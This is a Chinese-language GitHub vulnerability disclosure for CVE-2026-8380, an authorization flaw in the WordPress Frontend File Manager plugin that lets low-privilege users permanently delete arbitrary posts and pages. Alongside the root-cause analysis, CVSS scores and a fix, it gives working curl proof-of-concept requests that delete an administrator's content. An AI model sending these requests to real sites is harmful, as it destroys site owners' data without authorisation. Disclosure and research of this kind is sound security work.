tiagob0b/CVE-2026-8380
GitHub: tiagob0b/CVE-2026-8380
该项目披露并验证了 WordPress Frontend File Manager 插件中因 AJAX 删除端点授权不当导致的任意文章删除漏洞(CVE-2026-8380)。
Stars: 0 | Forks: 0
# CVE-2026-8380
# CVE-2026-8380 — Frontend File Manager <= 23.6 任意文章删除
## 概述
在 WordPress 插件 **Frontend File Manager (nmedia-user-file-uploader)** `<= 23.6` 版本中发现了一个严重的授权缺陷。
由于 AJAX 删除端点中的授权验证不当,该漏洞允许具有低权限的经过身份验证的用户永久删除任意的 WordPress 文章、页面、附件和自定义文章类型。
当插件选项 `_allow_guest_upload=yes` 被启用时,未经身份验证的攻击者即可利用该漏洞。
* **CVE:** CVE-2026-8380
* **插件:** Frontend File Manager (`nmedia-user-file-uploader`)
* **受影响版本:** <= 23.6
* **研究员:** Tiago Ferreira
* **CWE:** CWE-639 / CWE-862
* **漏洞类型:** 任意文章删除
* **WPScan:** https://wpscan.com/vulnerability/45fcbf74-45be-4cff-a81a-0fea903592a5/
# 执行摘要
该插件包含一个严重的授权绕过漏洞,允许通过 `wpfm_delete_file` AJAX 操作内部的参数不匹配验证来任意删除 WordPress 内容。
该漏洞已在受控实验室环境中通过活跃的概念验证(PoC)利用得到了成功验证。
在研究期间还发现了其他安全弱点:
* 元数据更新端点存在无 nonce 验证的 CSRF
* 仅基于最后一个文件扩展名的扩展名白名单绕过
* `_allow_guest_upload` 在多个端点中禁用授权检查
* 仅基于 `REMOTE_ADDR` 的速率限制
# 漏洞端点
```
POST /wp-admin/admin-ajax.php?action=wpfm_delete_file
```
### 受影响文件
```
inc/files.php
```
### 漏洞代码区域
```
// inc/files.php:691
if( !$allow_guest && ! wpfm_is_current_user_post_author($_POST['file_id'] )) {
wp_send_json_error(__("Sorry, not allowed", "wpfm"));
}
// inc/files.php:695
$file_ids = isset($_POST['file_ids']) && is_array($_POST['file_ids'])
? array_map('intval', $_POST['file_ids']) : [];
foreach ($file_ids as $file_id) {
$file = new WPFM_File($file_id);
wp_delete_post($file_id, $bypass_trash);
}
```
# 根本原因
授权检查使用单数参数验证所有权:
```
$_POST['file_id']
```
然而,实际的删除操作遍历的是另一个参数:
```
$_POST['file_ids[]']
```
由于这种不匹配,攻击者可以:
1. 在 `file_id` 中提供一个合法且属于自身的 post
2. 将任意的受害者 post ID 注入到 `file_ids[]` 中
不存在以下验证以确保:
* `file_ids[]` 中每一项的所有权
* 允许的 `post_type`
* `file_id` 和 `file_ids[]` 之间的关系
因此,任意的 WordPress 内容可能会被永久删除。
# 影响
具有最低权限的已验证用户可以永久删除:
* 文章
* 页面
* 产品
* 附件
* 自定义文章类型
* 插件特定内容
删除操作使用以下方式执行:
```
wp_delete_post($file_id, true);
```
这意味着内容将被永久删除,无法通过回收站恢复。
如果 `_allow_guest_upload=yes` 被启用:
* 漏洞利用将变为无需身份验证
* 作者所有权检查将被完全跳过
# 概念验证
## 实验室环境
* 目标:`192.168.1.1:8080`
* 攻击者角色:Subscriber
* 受害者角色:Administrator
### 攻击者账户
```
wpfm_sub : Sub@Test123
```
### 受害者文章
```
Page ID: 60
Post ID: 61
```
## 步骤 1 — 获取 Nonce
攻击者访问一个包含 shortcode 的页面:
```
[ffmwp]
```
提取 nonce:
```
curl -b sub_cookie http://target/wpfm-test/ | grep wpfm_ajax_nonce
```
响应:
```
value="9c233d4720"
```
## 步骤 2 — 触发任意删除
```
curl -b sub_cookie -X POST http://target/wp-admin/admin-ajax.php \
--data 'action=wpfm_delete_file' \
--data 'wpfm_ajax_nonce=9c233d4720' \
--data 'file_id=57' \
--data 'file_ids[]=60' \
--data 'file_ids[]=61'
```
### 说明
| 参数 | 描述 |
| --------------- | -------------------------------------------------- |
| `file_id=57` | 用于绕过授权的 Subscriber 拥有的 post |
| `file_ids[]=60` | 受害者 Administrator 的页面 |
| `file_ids[]=61` | 受害者 Administrator 的文章 |
## 成功响应
```
{
"success": true,
"data": {
"message": "2 files, directories are removed inside SUB-OWNED"
}
}
```
## 验证
```
curl -o /dev/null -w "%{http_code}\n" \
http://target/wp-json/wp/v2/pages/60
```
```
404
```
```
curl -o /dev/null -w "%{http_code}\n" \
http://target/wp-json/wp/v2/posts/61
```
```
404
```
# 严重程度
## 身份验证场景
### CVSS 3.1
```
8.1 HIGH
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H
```
## 启用访客上传场景
### CVSS 3.1
```
9.1 CRITICAL
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
```
# CWE 分类
* CWE-639 — 通过用户控制键的授权绕过
* CWE-862 — 缺少授权
# 修复建议
对 `file_ids[]` 内部的每个条目验证其所有权和 post type。
安全实现示例:
```
foreach ($file_ids as $fid) {
if ( ! wpfm_is_current_user_post_author($fid) ) {
wp_send_json_error(...);
}
if ( get_post_type($fid) !== 'wpfm-files' ) {
wp_send_json_error(...);
}
}
```
# 时间线
| 事件 | 日期 |
| ---------------- | ---------- |
| 发现漏洞 | 2026-05-28 |
| 联系供应商 | 2026-05-28 |
| WPScan 发布 | 2026-06-04 |
| 公开披露 | 2026-06-18 |
# 参考
* WPScan 公告:
https://wpscan.com/vulnerability/45fcbf74-45be-4cff-a81a-0fea903592a5/
* CVE:
https://www.cve.org/CVERecord?id=CVE-2026-8380
# 免责声明
本研究是在受控实验室环境中进行的,仅出于教育和安全研究目的。
未经适当授权,请勿测试系统。
标签:PoC, Web安全, WordPress插件, 文件完整性监控, 暴力破解, 权限绕过, 漏洞, 蓝队分析